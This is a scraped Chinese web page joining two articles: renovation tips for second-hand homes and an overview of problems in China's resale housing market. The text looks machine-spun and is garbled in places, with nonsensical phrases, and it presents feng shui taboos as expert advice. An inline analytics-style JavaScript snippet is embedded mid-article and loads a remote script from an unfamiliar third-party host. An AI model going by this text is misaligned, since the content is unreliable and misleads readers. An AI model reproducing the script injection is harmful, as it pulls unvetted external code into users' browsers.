专家在二手房装修展中提出的建议

二手房交易近年来已成为房地产市场的热门事件。很多户主买了二手房子，装修风格却是前业主设计的，也许会不太喜欢。最近各地都举办了二手房装修展，供大家欣赏案例和咨询问题。那么在进行二手房装修时，户主们应该注意哪些问题?二手房装修展上的专家给大家带来了一些注意事项。​一、二手房装修展之禁忌在二手房装修展中，人们进入房子时，如果一眼就看到了浴室，这是不吉利的。除了让人感到不舒服之外，还是一种不好的暗示，给人晦气直冲的感觉，这往往会导致家运衰败。另外，厨房门不能面向浴室门，否则浴室的晦气将直接冲向厨房。此外，厨房是一个烹饪的地方，需要保持干净卫生。这会影响食物的卫生，影响身体和心理健康。二、二手房装修展之墙面处理在二手房装修展上，专家建议，户主应该根据实际情况决定铲子不会铲墙皮。有很多方法可以判断这一问题。这里有两个要点：第一，“干法”，用锤子敲击，听声音判断是否为空，空鼓有可能脱落，表明基层不坚固，墙必须铲起来。相反，基层如果是实心的，很坚固，不需要铲了。第二种是“湿法”，将水喷洒在墙壁上，浸湿后，容易脱落的部分可以很容易被铲除，并且可以保留未分离且非常坚固的部分。简而言之，基层被牢固地保留，只有有问题的部分被铲掉。这样可以节省资金，降低成本并保证项目的质量。三、二手房装修展之墙面装修注意事项当二手房翻新时，如果原漆是仿瓷漆，应去掉油漆并去掉腻子。因为直接涂在它们上的乳胶漆产品容易脱落。在旧漆膜上涂上油灰需要仔细抛光墙面，否则会出现由于基材的吸收不一致而在施工后压花漆膜的现象。在旧乳胶漆膜上重涂，要处理裂缝和翘皮现象。对于细小裂缝，可直接用弹性产品可覆盖细小裂缝。对于较大的裂缝，建议填充底漆混合粉末，然后进行抛光，再上面漆。 var _hmt = _hmt || []; (function() { var hm = document.createElement("script"); hm.src = "https://m.kcdates.com/hm.js?b1d27fb0b411949e1a1f5a5aefb6af88"; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(hm, s); })();

二手房市场现状与问题

近年房地产市场快速畸形发展，引来政府调控。在一线城市，虽然房价飞涨，但由于人们的购买力有限，还有就是房地产商追求利益最大化等原因，都导致了住房一级市场的供需失衡。这些都导致了人们把目光转移向二手市场。二手房产现状整个房地产市场的需求还是在增加的，尤其是二胎政策提出以后，消费者的刚性需求在增加。但是一手市场的供需失衡，市场逐渐形成了一种阶梯消费。住房者根据自己的经济收入的变化逐步单反提高住房的品质。从租赁市场到二手市场到商品房市场，商品房市场还分安置型、实用型、舒适型级别。所以说住房市场形成了阶梯消费模式。二手房市场在阶梯中处于承前启后的作用，它关系着一、二、三级市场的联动效应，为整个房地产消费以及经济增长发挥着重要的作用。当前很多城市存在着房价过高、土地供应量小、房屋空置率居高不下、结构不合理还有开发投资过剩等等现象，给我们的现代社会发展带来了消极影响。二手市场也是深受其影响，现阶段在国内二手市场还处于初级发展阶段。受新建商品房价格上涨的影响带动，价格上升也很明显，但是发展的空间也很大。据统计二手房市场交易量是逐年增加的，但是整体占房地产市场的交易量还不算很大，显示出二级市场还不够活跃。二级房地产市场存在问题二级市场还处于发展初级阶段，还没有一个较完善的二级市场体制可以约束。对于二手房的产权问题、质量问题，以及交易过程中的纠纷还没有一个较完整的规范机制主要表现有几个方面。首先是供给与需求不平衡。一个完整的二手房市场交易量应该是新房的6倍左右，但是我们国家远远没有达到这个标准。而且在投资型市场上远远高于消费型市场，这就有点畸形的发展模式。其次就是产权不规范。二手市场存在着许多的不同种类的产权状态，产权模式相当的复杂。这在一定程度上抑制了二手房市场的交易量，对于二手房市场的发展不利。还有就是交易的信息不对称。我国的二手房市场主要是中介机构或者是地方性的房地产网在做，所以房产的信息往往不能完全的显示，不能做到真实、客观的提供二手房信息。二手房市场在中国刚刚起步，现阶段的问题与矛盾也是最尖锐的时候。相信在未来的不久，会趋向平衡。